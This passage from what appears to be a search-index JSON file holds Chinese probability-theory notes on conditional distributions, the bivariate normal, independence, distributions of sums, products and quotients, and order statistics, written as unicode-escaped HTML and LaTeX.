= \\int_{-\\infty}^{\\infty} p(x, y) dx  \\] <p>\u540c\u6837\uff0c\u8054\u5408\u5206\u5e03\u60df\u4e00\u51b3\u5b9a\u8fb9\u9645\u5206\u5e03\uff0c\u8fb9\u9645\u5206\u5e03\u4e0d\u80fd\u51b3\u5b9a\u8054\u5408\u5206\u5e03\u3002</p>"},{"location":"NOTE/Probability/second/#_13","title":"\u8fde\u7eed\u578b\u7684\u6761\u4ef6\u5206\u5e03","text":"<p>\u4e0e\u79bb\u6563\u578b\u7684\u7c7b\u4f3c\uff1b\u8fde\u7eed\u578b\u7684\u6761\u4ef6\u5206\u5e03\u7684\u5bc6\u5ea6\u51fd\u6570\u5c31\u662f\u5728\u539f\u6765\u7684\u57fa\u7840\u4e0a\u5206\u6bcd\u53d8\u4e3a\u5bf9\u5e94\u786e\u5b9a\u53d8\u91cf\u7684\u8fb9\u9645\u51fd\u6570\u67d0\u70b9\u7684\u503c\uff1b\u66f4\u8be6\u7ec6\u5730\u8bf4:</p> <p>\u5047\u8bbe \\((X, Y)\\) \u662f\u8fde\u7eed\u578b\u968f\u673a\u5411\u91cf\uff0c\u5177\u6709\u8054\u5408\u5bc6\u5ea6\u51fd\u6570 \\(p(x, y)\\)\uff0c\u4e0b\u9762\u8ba8\u8bba\u6761\u4ef6\u5206\u5e03</p> <p>\u7ed9\u5b9a \\(X = x\\)\uff0c\u6c42 \\(Y\\) \u7684\u5206\u5e03\uff1f</p> <p>\u5373 \\(P(Y \\leq y | X = x)\\)</p> <p>\u6ce8\u610f \\(P(X = x) = 0\\)\uff0c\u6211\u4eec\u91c7\u7528</p> \\[  P(Y \\leq y | X = x) = \\lim_{\\varepsilon \\to 0} P(Y \\leq y | x - \\varepsilon &lt; X \\leq x + \\varepsilon)  \\] \\[ P(Y \\leq y | X = x) = \\lim_{\\varepsilon \\to 0} \\frac{P(Y \\leq y, x - \\varepsilon &lt; X \\leq x + \\varepsilon)}{P(x - \\varepsilon &lt; X \\leq x + \\varepsilon)} \\] \\[ = \\lim_{\\varepsilon \\to 0} \\frac{\\int_{x-\\varepsilon}^{x+\\varepsilon} \\int_{-\\infty}^{y} p(u, v) \\, dv \\, du / (2 \\varepsilon)}{\\int_{x-\\varepsilon}^{x+\\varepsilon} p_X(u) \\, du / (2\\varepsilon)} \\] \\[ = \\frac{\\int_{-\\infty}^{y} p(x, v) \\, dv}{p_X(x)} \\] <p>\u7ed9\u5b9a \\(X = x\\) \u4e0b\uff0c\\(Y\\) \u5177\u6709\u5bc6\u5ea6\u51fd\u6570</p> \\[ p_{Y|X}(y|x) = \\frac{p(x, y)}{p_X(x)} \\] <p>Key-point</p> <p>\u63a8\u5bfc\u8fc7\u7a0b\u4e2d\u4e0a\u4e0b\u540c\u65f6\u9664\u4ee5 \\(2\\varepsilon\\) \u662f\u4e3a\u4e86\u4f7f\u7528\u62c9\u683c\u6717\u65e5\u4e2d\u503c\u5b9a\u7406 \u5373</p> \\[     F(x+\\varepsilon)-F(x-\\varepsilon) = F'(\\xi)2\\varepsilon \\] <p>\u8054\u5408\u6b63\u6001\u5206\u5e03</p> <p>\u5982\u679c\u968f\u673a\u5411\u91cf \\((X, Y)\\) \u5177\u6709\u5bc6\u5ea6\u51fd\u6570\uff1a\\(\\forall x, y \\in \\mathbb{R}\\)</p> \\[ p(x, y) = \\frac{1}{2\\pi\\sigma_1\\sigma_2\\sqrt{1-\\rho^2}} e^{-\\frac{1}{2(1-\\rho^2)}\\left(\\frac{(x-\\mu_1)^2}{\\sigma_1^2} - \\frac{2\\rho(x-\\mu_1)(y-\\mu_2)}{\\sigma_1\\sigma_2} + \\frac{(y-\\mu_2)^2}{\\sigma_2^2}\\right)} \\] <p>\u90a3\u4e48\u79f0 \\((X, Y)\\) \u670d\u4ece\u4e8c\u7ef4\u8054\u5408\u6b63\u6001\u5206\u5e03\uff0c\\(\\mu_1, \\mu_2, \\sigma_1^2, \\sigma_2^2, \\rho\\) \u4e3a\u53c2\u6570\u3002\u7b80\u8bb0</p> \\[ (X, Y) \\sim \\mathcal{N}(\\mu_1, \\sigma_1^2, \\mu_2, \\sigma_2^2; \\rho) \\] <p>\u9a8c\u8bc1 \\(p(x, y)\\) \u786e\u5b9e\u662f\u5bc6\u5ea6\u51fd\u6570</p> \\[ \\int_{-\\infty}^{\\infty} \\int_{-\\infty}^{\\infty} \\frac{1}{2\\pi\\sigma_1\\sigma_2\\sqrt{1-\\rho^2}} e^{-\\frac{1}{2(1-\\rho^2)}\\left[\\frac{x^2}{\\sigma_1^2} - \\frac{2\\rho xy}{\\sigma_1\\sigma_2} + \\frac{y^2}{\\sigma_2^2}\\right]} dxdy = 1 \\] <p>\u7ecf\u8fc7\u53d8\u6362\uff1a\\(u = \\frac{x-\\mu_1}{\\sigma_1}, v = \\frac{y-\\mu_2}{\\sigma_2}\\)\uff0c\u7b49\u4ef7\u4e8e</p> \\[ \\int_{-\\infty}^{\\infty} \\int_{-\\infty}^{\\infty} \\frac{1}{2\\pi\\sqrt{1-\\rho^2}} e^{-\\frac{1}{2(1-\\rho^2)}[u^2 - 2\\rho uv + v^2]} dudv = 1 \\] <p>\u5de6\u8fb9\u8fdb\u884c\u914d\u65b9\uff0c\u5f97</p> \\[ = \\int_{-\\infty}^{\\infty} \\frac{1}{\\sqrt{2\\pi}} e^{-v^2/2} \\left( \\int_{-\\infty}^{\\infty} \\frac{1}{\\sqrt{2\\pi(1-\\rho^2)}} e^{-\\frac{1}{2(1-\\rho^2)}(u-\\rho v)^2} du \\right) dv \\] \\[ = \\int_{-\\infty}^{\\infty} \\frac{1}{\\sqrt{2\\pi}} e^{-v^2/2} dv = 1 \\] <p>Idea</p> <p>\u8fd9\u91cc\u5229\u7528\u4e86\u6807\u51c6\u6b63\u6001\u5206\u5e03\u7684\u6027\u8d28\uff0c\u5373</p> \\[ \\int_{-\\infty}^{\\infty} \\frac{1}{\\sqrt{2\\pi}} e^{-v^2/2} dv = 1 \\] <p>\u8054\u5408\u6b63\u6001\u5206\u5e03\u7684\u8fb9\u9645\u5206\u5e03</p> <p>\\(p_X(x)\\) \u548c \\(p_Y(y)\\) \u90fd\u662f\u6b63\u6001\u5206\u5e03</p> <p>\u5047\u8bbe \\((X, Y) \\sim \\mathcal{N}(\\mu_1, \\sigma_1^2, \\mu_2, \\sigma_2^2; \\rho)\\)\uff0c\u6c42 \\(X, Y\\) \u7684\u8fb9\u9645\u5206\u5e03\uff1f</p> \\[  X \\sim p_X(x)  \\] \\[ p_X(x) = \\int_{-\\infty}^{\\infty} p(x, y) \\, dy \\] \\[ = \\int_{-\\infty}^{\\infty} \\frac{1}{2\\pi\\sigma_1\\sigma_2\\sqrt{1-\\rho^2}} e^{-\\frac{1}{2(1-\\rho^2)}\\left[\\frac{(x-\\mu_1)^2}{\\sigma_1^2} - \\frac{2\\rho(x-\\mu_1)(y-\\mu_2)}{\\sigma_1\\sigma_2} + \\frac{(y-\\mu_2)^2}{\\sigma_2^2}\\right]} \\, dy \\] <p>\u8fdb\u884c\u914d\u65b9\uff0c\u5f97</p> <p>\u4ee4 \\(z = y - \\mu_2\\)\uff0c\u5219</p> \\[ p_X(x) = \\int_{-\\infty}^{\\infty} \\frac{1}{2\\pi\\sigma_1\\sigma_2\\sqrt{1-\\rho^2}} e^{-\\frac{1}{2(1-\\rho^2)}\\left[\\frac{(x-\\mu_1)^2}{\\sigma_1^2} - \\frac{2\\rho(x-\\mu_1)z}{\\sigma_1\\sigma_2} + \\frac{z^2}{\\sigma_2^2}\\right]} \\, dz \\] <p>\u5c06\u6307\u6570\u90e8\u5206\u8fdb\u884c\u914d\u65b9\uff0c\u5f97</p> \\[ -\\frac{1}{2(1-\\rho^2)}\\left[\\frac{(x-\\mu_1)^2}{\\sigma_1^2} - \\frac{2\\rho(x-\\mu_1)z}{\\sigma_1\\sigma_2} + \\frac{z^2}{\\sigma_2^2}\\right] = -\\frac{(x-\\mu_1)^2}{2\\sigma_1^2} - \\frac{z^2 - 2\\rho(x-\\mu_1)z\\sigma_2/\\sigma_1 + \\rho^2(x-\\mu_1)^2\\sigma_2^2/\\sigma_1^2}{2\\sigma_2^2(1-\\rho^2)} \\] \\[ = -\\frac{(x-\\mu_1)^2}{2\\sigma_1^2} - \\frac{(z - \\rho(x-\\mu_1)\\sigma_2/\\sigma_1)^2}{2\\sigma_2^2(1-\\rho^2)} \\] <p>\u56e0\u6b64\uff0c</p> \\[ p_X(x) = \\frac{1}{2\\pi\\sigma_1\\sigma_2\\sqrt{1-\\rho^2}} e^{-\\frac{(x-\\mu_1)^2}{2\\sigma_1^2}} \\int_{-\\infty}^{\\infty} e^{-\\frac{(z - \\rho(x-\\mu_1)\\sigma_2/\\sigma_1)^2}{2\\sigma_2^2(1-\\rho^2)}} \\, dz \\] <p>\u7531\u4e8e</p> \\[ \\int_{-\\infty}^{\\infty} e^{-\\frac{(z - \\rho(x-\\mu_1)\\sigma_2/\\sigma_1)^2}{2\\sigma_2^2(1-\\rho^2)}} \\, dz = \\sqrt{2\\pi\\sigma_2^2(1-\\rho^2)} \\] <p>\u6240\u4ee5</p> \\[ p_X(x) = \\frac{1}{2\\pi\\sigma_1\\sigma_2\\sqrt{1-\\rho^2}} e^{-\\frac{(x-\\mu_1)^2}{2\\sigma_1^2}} \\cdot \\sqrt{2\\pi\\sigma_2^2(1-\\rho^2)} \\] \\[ = \\frac{1}{\\sqrt{2\\pi}\\sigma_1} e^{-\\frac{(x-\\mu_1)^2}{2\\sigma_1^2}} \\] <p>\u56e0\u6b64\uff0c</p> \\[ X \\sim \\mathcal{N}(\\mu_1, \\sigma_1^2) \\] <p>\u5f53 \\(\\rho = 0\\) \u65f6\uff0c\\(X, Y\\) \u72ec\u7acb</p> <p>\u5bf9\u4e8e\u4e00\u822c\u7684\u968f\u673a\u5411\u91cf\uff0c\u6709\u53ef\u80fd\u5176\u65e2\u6ca1\u6709\u5206\u5e03\u5217\uff0c\u4e5f\u6ca1\u6709\u5bc6\u5ea6\u51fd\u6570\uff0c\u6b64\u65f6\u4e3b\u8981\u7528\u5176\u5206\u5e03\u51fd\u6570\u6765\u63cf\u8ff0\u3002</p>"},{"location":"NOTE/Probability/second/#_14","title":"\u72ec\u7acb\u6027","text":"<p>\u5bf9\u4e8e\u8054\u5408\u5206\u5e03\uff0c\u5982\u679c \\(p(x,y)=p_X(x)p_Y(y)\\)\uff0c\u5219\u79f0 \\(X\\) \u548c \\(Y\\) \u72ec\u7acb\u3002</p> <p>\u6216\u8005 \\(F(x,y)=F_X(x)F_Y(y)\\)</p> <p>\u6216\u8005\u5bf9\u4e8e\u4efb\u610f\u6ce2\u96f7\u5c14\u96c6\\(A,B\\)</p> \\[     P( X \\in A,Y \\in B)=P(X \\in A)P(Y \\in B) \\] <p>\u4e00\u822c\u6700\u540e\u4e00\u4e2a\u662f\u5f88\u597d\u7528\u7684\uff0c\u53ef\u4ee5\u7528\u6765\u8bc1\u660e\\(f(X),g(Y)\\)\u662f\u72ec\u7acb\u7684\uff0c(\u8fd0\u7528\u539f\u50cf\u96c6\u4e5f\u662f\u535a\u96f7\u5c14\u96c6\u7684\u6027\u8d28)</p>"},{"location":"NOTE/Probability/second/#_15","title":"\u4e8c\u5143\u5206\u5e03\u51fd\u6570\u7684\u6027\u8d28","text":"<p>\u4e8c\u5143\u5206\u5e03\u51fd\u6570\u7684\u6027\u8d28</p> <ul> <li>\\(F(-\\infty, y) = 0\\), \\(F(x, -\\infty) = 0\\), \\(F(\\infty, \\infty) = 1\\)</li> <li>\\(F(x, y)\\) \u5173\u4e8e \\(x\\) \u548c \\(y\\) \u975e\u51cf</li> <li>\\(F(x, y)\\) \u5173\u4e8e \\(x\\) \u548c \\(y\\) \u53f3\u8fde\u7eed\uff0c\u5de6\u6781\u9650\u5b58\u5728</li> </ul> \\[     P(a &lt; X \\leqslant b, c &lt; Y \\leqslant d) = F(a,c)+F(b,d)-F(a,d)-F(b,c) \\] <p>\u53ef\u4ee5\u4ece\u79ef\u5206\u533a\u57df\u7684\u89d2\u5ea6\u7406\u89e3</p> <p>\\(F_X(x) = F(x, \\infty)\\)</p> <p>\\(F_Y(y) = F(\\infty, y)\\)</p>"},{"location":"NOTE/Probability/second/#_16","title":"\u6761\u4ef6\u5206\u5e03","text":"<p>\u5047\u8bbe \\((X, Y)\\) \u5177\u6709\u5206\u5e03\u51fd\u6570 \\(F(x, y)\\)\uff0c\u90a3\u4e48\u7ed9\u5b9a \\(X = x\\)\uff0c\\(Y\\) \u7684\u6761\u4ef6\u5206\u5e03\u51fd\u6570\u4e3a</p> \\[ P(Y \\leqslant y | X = x) = \\lim_{\\varepsilon \\to 0} P(Y \\leqslant y | x - \\varepsilon &lt; X \\leqslant x + \\varepsilon) \\] \\[ = \\lim_{\\varepsilon \\to 0} \\frac{F(x + \\varepsilon, y) - F(x - \\varepsilon, y)}{F_X(x + \\varepsilon) - F_X(x - \\varepsilon)} \\] <p>\u7c7b\u4f3c\u5730\uff0c</p> \\[ P(X \\leqslant x | Y = y) = \\lim_{\\varepsilon \\to 0} P(X \\leqslant x | y - \\varepsilon &lt; Y \\leqslant y + \\varepsilon) \\] \\[ = \\lim_{\\varepsilon \\to 0} \\frac{F(x, y + \\varepsilon) - F(x, y - \\varepsilon)}{F_Y(y + \\varepsilon) - F_Y(y - \\varepsilon)} \\]"},{"location":"NOTE/Probability/second/#_17","title":"\u591a\u7ef4\u968f\u673a\u5411\u91cf","text":"<ul> <li>\u591a\u7ef4\u968f\u673a\u5411\u91cf</li> </ul> <p>\u5047\u8bbe \\((\\Omega, \\mathcal{A}, P)\\) \u662f\u7ed9\u5b9a\u7684\u6982\u7387\u7a7a\u95f4\uff0c</p> \\[ \\mathbf{X} = (X_1, X_2, \\cdots, X_m) : \\Omega \\mapsto \\mathbb{R}^m \\] <p>\u5982\u679c\u5bf9\u4efb\u610f Borel \u96c6 \\(B \\subset \\mathbb{R}^m\\),</p> \\[ \\{\\omega : \\mathbf{X}(\\omega) \\in B\\} \\in \\mathcal{A} \\] <p>Note</p> <p>\u8fd9\u91cc\u6307\u7684\u662f\u7ecf\u8fc7\u968f\u673a\u5411\u91cf\u7684\u6620\u5c04\u540e\u4ecd\u5c5e\u4e8e\u535a\u96f7\u5c14\u96c6\u7684\u6837\u672c\u70b9\u7684\u96c6\u5408\u4ecd\u5728\u4e8b\u4ef6\u57df\u4e2d</p> <p>\u90a3\u4e48\u79f0 \\(\\mathbf{X}\\) \u4e3a \\(m\\)-\u7ef4\u968f\u673a\u5411\u91cf</p> <ul> <li>\\(m\\)-\u5143\u8054\u5408\u5206\u5e03\u51fd\u6570</li> </ul> <p>\u5047\u8bbe \\(\\mathbf{X} = (X_1, X_2, \\cdots, X_m)\\) \u662f \\(m\\)-\u7ef4\u968f\u673a\u5411\u91cf\uff0c\u5176\u8054\u5408\u5206\u5e03\u51fd\u6570\u4e3a</p> \\[ F_{\\mathbf{X}}(\\mathbf{x}) = P(X_1 \\leq x_1, \\cdots, X_m \\leq x_m) \\] <p>\u5176\u4e2d \\(\\mathbf{x} = (x_1, \\cdots, x_m)\\).</p> <ul> <li>\u8fb9\u9645\u5206\u5e03</li> </ul> <p>\\(X_i\\) \u7684\u8fb9\u9645\u5206\u5e03\u4e3a</p> \\[ F_{X_i}(x_i) = P(X_i \\leq x_i) \\] <ul> <li>\u72ec\u7acb\u968f\u673a\u53d8\u91cf</li> </ul> <p>\u5047\u8bbe \\(\\mathbf{X} = (X_1, X_2, \\cdots, X_m)\\) \u662f \\(m\\)-\u7ef4\u968f\u673a\u5411\u91cf\uff0c\u5176\u8054\u5408\u5206\u5e03\u51fd\u6570\u4e3a \\(F_{\\mathbf{X}}(x)\\)\uff0c\u8fb9\u9645\u5206\u5e03\u4e3a \\(F_{X_i}(x_i), i = 1, \\cdots, m\\)\u3002\u5982\u679c</p> \\[ F_{\\mathbf{X}}(\\mathbf{x}) = \\prod_{i=1}^{m} F_{X_i}(x_i), \\quad \\forall \\mathbf{x} = (x_1, \\cdots, x_m) \\] <p>\u90a3\u4e48\u79f0 \\(X_1, X_2, \\cdots, X_m\\) \u76f8\u4e92\u72ec\u7acb\u3002</p> <ul> <li> <p>\u6ce8\uff1a\u5982\u679c \\(X_1, X_2, \\cdots, X_m\\) \u76f8\u4e92\u72ec\u7acb\uff0c\u90a3\u4e48</p> </li> <li> <p>\\((X_{i_1}, X_{i_2}, \\cdots, X_{i_k}), k \\leq m\\) \u76f8\u4e92\u72ec\u7acb</p> </li> <li>\\(f_1(X_1), f_2(X_2), \\cdots, f_m(X_m)\\) \u76f8\u4e92\u72ec\u7acb</li> <li>\\(f(X_{i_1}, X_{i_2}, \\cdots, X_{i_k}), g(X_{j_1}, X_{j_2}, \\cdots, X_{j_l})\\) \u5206\u522b\u662f \\(k\\) \u5143\u548c \\(l\\) \u5143 Borel \u53ef\u6d4b\u51fd\u6570\uff0c\u4e14 \\(A \\cap B = \\emptyset\\)\u3002\u5982\u679c \\(A, B \\subset \\{1, 2, \\cdots, m\\}, |A| = k, |B| = l\\)\uff0c\u5e76\u4e14 \\(A \\cap B = \\emptyset\\)\uff0c\u90a3\u4e48 \\(f(X_i, i \\in A)\\) \u548c \\(g(X_i, i \\in B)\\) \u76f8\u4e92\u72ec\u7acb\u3002</li> </ul>"},{"location":"NOTE/Probability/second/#_18","title":"\u968f\u673a\u53d8\u91cf\u7684\u6620\u5c04","text":"<p>\u5bf9\u4e8e\u5e38\u89c1\u7684\u51fd\u6570\\(f\\),\\(Y=f(X)\\),\u5982\u679c\\(X\\)\u662f\u968f\u673a\u53d8\u91cf\uff0c\u6211\u4eec\u4e3a\u4e86\u8981\u6c42\\(Y\\)\u662f\u968f\u673a\u53d8\u91cf\uff0c\u9700\u8981\u6ee1\u8db3\\(f\\)\u662fBorel\u53ef\u6d4b\u51fd\u6570\uff0c\u5373\u5bf9\u4e8e\u4efb\u610fBorel\u96c6\\(B\\)\uff0c\\(f^{-1}(B)\\)\u4e5f\u662fBorel\u96c6,\u5bf9\u4e8e\u4e00\u7ef4\u7684\u60c5\u51b5\uff0c\u4e3b\u8981\u6709\u4ee5\u4e0b\u4e24\u79cd\u65b9\u6cd5\u6765\u8ba1\u7b97Y\u7684\u5206\u5e03</p> <p>\u8ba1\u7b97Y\u7684\u5206\u5e03</p> \u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf <p>\u6b64\u65f6\\(Y\\)\u4e5f\u662f\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf;\u6839\u636e \\(X\\) \u7684\u53d6\u503c\uff0c\u53ef\u4ee5\u5f97\u5230 \\(Y\\) \u7684\u53d6\u503c\uff0c\u7136\u540e\u6839\u636e \\(X\\) \u7684\u5206\u5e03\u5217\uff0c\u53ef\u4ee5\u5f97\u5230 \\(Y\\) \u7684\u5206\u5e03\u5217,</p> \\[P(Y=y_i)=P(X=x_i,j\\dots,k),f(X=x_i,j\\dots,k)=y_i\\] <p>\u6b64\u65f6\\(Y\\)\u4e0d\u4e00\u5b9a\u662f\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf\uff0c\u6ca1\u6709\u7edf\u4e00\u7684\u8ba1\u7b97\u516c\u5f0f\uff0c\u4f46\u662f \u4e00\u822c\u53ef\u4ee5\u5148\u6c42\u51fa\\(Y\\)\u7684\u5206\u5e03\u51fd\u6570\uff0c\u7136\u540e\u6c42\u5bfc\u5f97\u5230\u5bc6\u5ea6\u51fd\u6570</p>"},{"location":"NOTE/Probability/second/#_19","title":"\u968f\u673a\u5411\u91cf\u7684\u6620\u5c04","text":"<p>(\u8fde\u7eed\u578b)\u968f\u673a\u5411\u91cf\u7684\u6620\u5c04\u6709\u65f6\u5019\u4e0d\u4ec5\u4ec5\u662f\u5bf9\u4e8e\u4e00\u4e2a\u7ed3\u679c\u51fd\u6570\u7684\u6620\u5c04\uff0c\u4e5f\u6709\u5bf9\u4e8e\u4e00\u4e2a\u5411\u91cf\u7684\u6620\u5c04\uff0c\u6211\u4eec\u4f9d\u6b21\u8003\u8651</p> <p>\u6c42\u50cf\u7684\u5206\u5e03</p> \u6620\u5c04\u5230\u5355\u5143 <p>\u5047\u8bbe \\((\\xi_1,\\xi_2,\\ldots,\\xi_i)\\)\u662f\u8fde\u7eed\u578b\u968f\u673a\u5411\u91cf\uff0c\u5177\u6709\u8054\u5408\u5bc6\u5ea6\u51fd\u6570\\(p(x_1,x_2,\\ldots,x_i)\\)\uff0c\u53d8\u6362\u5982\u4e0b\uff1a</p> \\[    \\eta = f(\\xi_1,\\xi_2,\\ldots,\\xi_i) \\] <p>\u90a3\u4e48\\(\\eta\\)\u7684\u5206\u5e03\u51fd\u6570\u53ef\u4ee5\u7531\u4ee5\u4e0b\u516c\u5f0f\u5f97\u5230</p> \\[\\begin{align*}    F_{\\eta}(y) = P(\\eta \\leq y) &amp;= P(f(\\xi_1,\\xi_2,\\ldots,\\xi_i) \\leq y)\\\\                &amp;= \\int \\cdots \\int_{f(\\xi_1,\\xi_2,\\ldots,\\xi_i) \\leq y} p(x_1,x_2,\\ldots,x_i)dx_1dx_2\\ldots dx_i \\end{align*}\\] <p>\u503c\u5f97\u6ce8\u610f\u7684\u4f8b\u5b50</p> \\(\\eta=\\xi_1+\\xi_2\\)\\(\\eta=\\xi_1\\xi_2\\)\\(\\eta=\\dfrac{\\xi_1}{\\xi_2}\\)\u6b21\u5e8f\u7edf\u8ba1\u91cf\u7684\u5206\u5e03 <p>\u5982\u679c\\(\\xi_1,\\xi_2\\)\u662f\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf\uff0c\u90a3\u4e48\\(\\eta=\\xi_1+\\xi_2\\)\u7684\u5206\u5e03\u51fd\u6570\u4e3a</p> \\[ F_{\\eta}(y) = \\int_{-\\infty}^{\\infty} dx_1\\int_{-\\infty}^{y-x_1} p(x_1,x_2)dx_2 \\] <p>\\(x_2=z-x_1\\)\uff0c\u5219</p> \\[ F_{\\eta}(y) = \\int_{-\\infty}^{\\infty} dx_1\\int_{-\\infty}^{y} p(x_1,z-x_1)dz \\] <p>\u518d\u4ea4\u6362\u6b21\u5e8f(\u6b64\u65f6\u79ef\u5206\u533a\u57df\u4e3a\u77e9\u5f62\uff0c\u6240\u4ee5\u6211\u4eec\u624d\u53ef\u4ee5\u53ef\u4ee5\u4ea4\u6362\u6b21\u5e8f)</p> \\[ F_{\\eta}(y) = \\int_{-\\infty}^{y} dz\\int_{-\\infty}^{\\infty} p(x_1,z-x_1)dx_1 \\] <p>\u6240\u4ee5\u6211\u4eec\u5f97\u5230\u5bc6\u5ea6\u51fd\u6570</p> \\[ p_{\\eta}(y) = \\int_{-\\infty}^{\\infty} p(x_1,y-x_1)dx_1 \\] <p>\u82e5\\(\\xi_1,\\xi_2\\)\u76f8\u4e92\u72ec\u7acb\uff0c\u90a3\u4e48</p> \\[ p_{\\eta}(y) = \\int_{-\\infty}^{\\infty} p_{\\xi_1}(x_1)p_{\\xi_2}(y-x_1)dx_1 \\] <p>\u79ef\u5206\u533a\u57df\u753b\u56fe\u770b</p> \\[ F_Z(z) = \\int_{(x, y) : xy \\leq z} p(x, y) \\, dx \\, dy \\] \\[ = \\int_{-\\infty}^0 \\int_{z/x}^{\\infty} p(x, y) \\, dy \\, dx + \\int_0^{\\infty} \\int_{-\\infty}^{z/x} p(x, y) \\, dy \\, dx \\] \\[ = -\\int_{\\infty}^z \\int_{-\\infty}^0 \\frac{1}{x} p\\left(x, \\frac{u}{x}\\right) \\, dx \\, du + \\int_0^{\\infty} \\int_0^z \\frac{1}{x} p\\left(x, \\frac{u}{x}\\right) \\, dx \\, du \\] \\[ p_Z(z) = -\\int_{-\\infty}^0 \\frac{1}{x} p\\left(x, \\frac{z}{x}\\right) \\, dx + \\int_0^{\\infty} \\frac{1}{x} p\\left(x, \\frac{z}{x}\\right) \\, dx \\] \\[ = \\int_{-\\infty}^{\\infty} \\frac{1}{|x|} p\\left(x, \\frac{z}{x}\\right) \\, dx \\] <p>\u63a8\u5bfc\u8fc7\u7a0b\u4e2d\u4e0d\u7ba1\\(z\\)\u662f\u6b63\u8fd8\u662f\u8d1f\uff0c\u79ef\u5206\u533a\u57df\u603b\u80fd\u8fd9\u6837\u5212\u5206</p> \\[ F_{\\eta}(y) = P \\left( \\frac{\\xi_1}{\\xi_2} \\leq y \\right) = \\iint_{x_1 / x_2 \\leq y} p(x_1, x_2) \\, dx_1 \\, dx_2 \\] \\[ = \\int_{-\\infty}^0 \\int_{y x_2}^{\\infty} p(x_1, x_2) \\, dx_1 \\, dx_2 + \\int_0^{\\infty} \\int_{-\\infty}^{y x_2} p(x_1, x_2) \\, dx_1 \\, dx_2 \\] <p>\u4ee4 \\( x_1 = z x_2 \\)\uff0c\u5e76\u4ea4\u6362\u79ef\u5206\u6b21\u5e8f\uff0c\u5f97</p> \\[ F_{\\eta}(y) = \\int_{-\\infty}^y \\int_{-\\infty}^{\\infty} p(z x_2, x_2) x_2 \\, dx_2 \\, dz = \\int_{-\\infty}^y p_{\\eta}(z) \\, dz \\] <p>\u8fd9\u8bf4\u660e\u82e5 \\( (\\xi_1, \\xi_2) \\) \u662f\u8fde\u7eed\u578b\u968f\u673a\u5411\u91cf\uff0c\u5219 \\( \\eta = \\frac{\\xi_1}{\\xi_2} \\) \u662f\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf\uff0c\u5176\u5bc6\u5ea6\u51fd\u6570\u4e3a</p> \\[ p_{\\eta}(z) = \\int_{-\\infty}^{\\infty} p(z x, x) |x| \\, dx. \\] <p>\u63a8\u5bfc\u8fc7\u7a0b\u4e2d\u4e0d\u7ba1\\(y\\)\u662f\u6b63\u8fd8\u662f\u8d1f\uff0c\u79ef\u5206\u533a\u57df\u603b\u80fd\u8fd9\u6837\u5212\u5206</p> <p>\u8bbe \\( \\xi_1, \\xi_2, \\dots, \\xi_n \\) \u72ec\u7acb\u540c\u5206\u5e03\uff0c\u5206\u5e03\u51fd\u6570\u90fd\u4e3a \\( F(x) \\)\u3002\u628a \\( \\xi_1, \\xi_2, \\dots, \\xi_n \\) \u6bcf\u53d6\u4e00\u7ec4\u503c \\( \\xi_1(\\omega), \\xi_2(\\omega), \\dots, \\xi_n(\\omega) (\\omega \\in \\Omega) \\) \u90fd\u6309\u5927\u5c0f\u6b21\u5e8f\u6392\u5217\uff0c\u6240\u5f97\u968f\u673a\u53d8\u91cf \\( \\xi_{(1)}, \\xi_{(2)}, \\dots, \\xi_{(n)} \\) \u79f0\u4e3a \u6b21\u5e8f\u7edf\u8ba1\u91cf  (order statistics)\uff0c\u5b83\u4eec\u6ee1\u8db3 \\( \\xi_{(1)} \\leq \\xi_{(2)} \\leq \\dots \\leq \\xi_{(n)} \\)\u3002\u6309\u5b9a\u4e49\uff0c\\( \\xi_{(1)} = \\min(\\xi_1, \\xi_2, \\dots, \\xi_n) \\)\uff0c\\( \\xi_{(n)} = \\max(\\xi_1, \\xi_2, \\dots, \\xi_n) \\)\u3002</p> <p>\u73b0\u5728\u6765\u6c42 \\( \\xi_{(1)}, \\xi_{(n)} \\) \u53ca \\( (\\xi_{(1)}, \\xi_{(n)}) \\) \u7684\u5206\u5e03\uff0c\u8fd9\u5728\u6570\u7406\u7edf\u8ba1\u4e2d\u662f\u6709\u7528\u7684\u3002</p> \u6781\u503c\u968f\u673a\u53d8\u91cf <p>\\(\\xi_{(1)}\\)\u662f\u6700\u5c0f\u503c\uff0c\\(\\xi_{(n)}\\)\u662f\u6700\u5927\u503c,\\(\\xi_{(k)}\\)\u662f\u7b2ck\u5c0f\u503c</p> <ol> <li> <p>\\( \\xi_{(n)} \\) \u7684\u5206\u5e03\u51fd\u6570</p> \\[   P(\\xi_{(n)} \\leq x) = P(\\xi_1 \\leq x, \\xi_2 \\leq x, \\dots, \\xi_n \\leq x) \\] \\[   = P(\\xi_1 \\leq x) P(\\xi_2 \\leq x) \\cdots P(\\xi_n \\leq x) \\] \\[   = [F(x)]^n. \\] </li> <li> <p>\\( \\xi_{(1)} \\) \u7684\u5206\u5e03\u51fd\u6570</p> <p>\u5148\u8003\u8651 \\( \\{\\xi_{(1)} \\leq x\\} \\) \u7684\u9006\u4e8b\u4ef6 \\( \\{\\xi_{(1)} &gt; x\\} \\)\uff0c</p> \\[   P(\\xi_{(1)} &gt; x) = P(\\xi_1 &gt; x, \\xi_2 &gt; x, \\dots, \\xi_n &gt; x) \\] \\[   = P(\\xi_1 &gt; x) P(\\xi_2 &gt; x) \\cdots P(\\xi_n &gt; x) \\] \\[   = [1 - F(x)]^n. \\] <p>\u6545</p> \\[   P(\\xi_{(1)} \\leq x) = 1 - [1 - F(x)]^n. \\] </li> <li> <p>\\( (\\xi_{(1)}, \\xi_{(n)}) \\) \u7684\u8054\u5408\u5206\u5e03\u51fd\u6570</p> \\[   F(x, y) = P(\\xi_{(1)} \\leq x, \\xi_{(n)} \\leq y) \\] \\[   = P(\\xi_{(n)} \\leq y) - P(\\xi_{(1)} &gt; x, \\xi_{(n)} \\leq y) \\] \\[   = [F(y)]^n - P \\left( \\bigcap_{i=1}^n (x &lt; \\xi_i \\leq y) \\right). \\] <p>\u56e0\u6b64\u5f53 \\( x &lt; y \\) \u65f6\uff0c</p> \\[   F(x, y) = [F(y)]^n - [F(y) - F(x)]^n. \\] <p>\u5f53 \\( x \\geq y \\) \u65f6\uff0c</p> \\[   F(x, y) = [F(y)]^n. \\] <p>\u5982\u679c \\( \\xi_1, \\dots, \\xi_n \\) \u662f\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf\uff0c\u6709\u5bc6\u5ea6 \\( p(x) = F'(x) 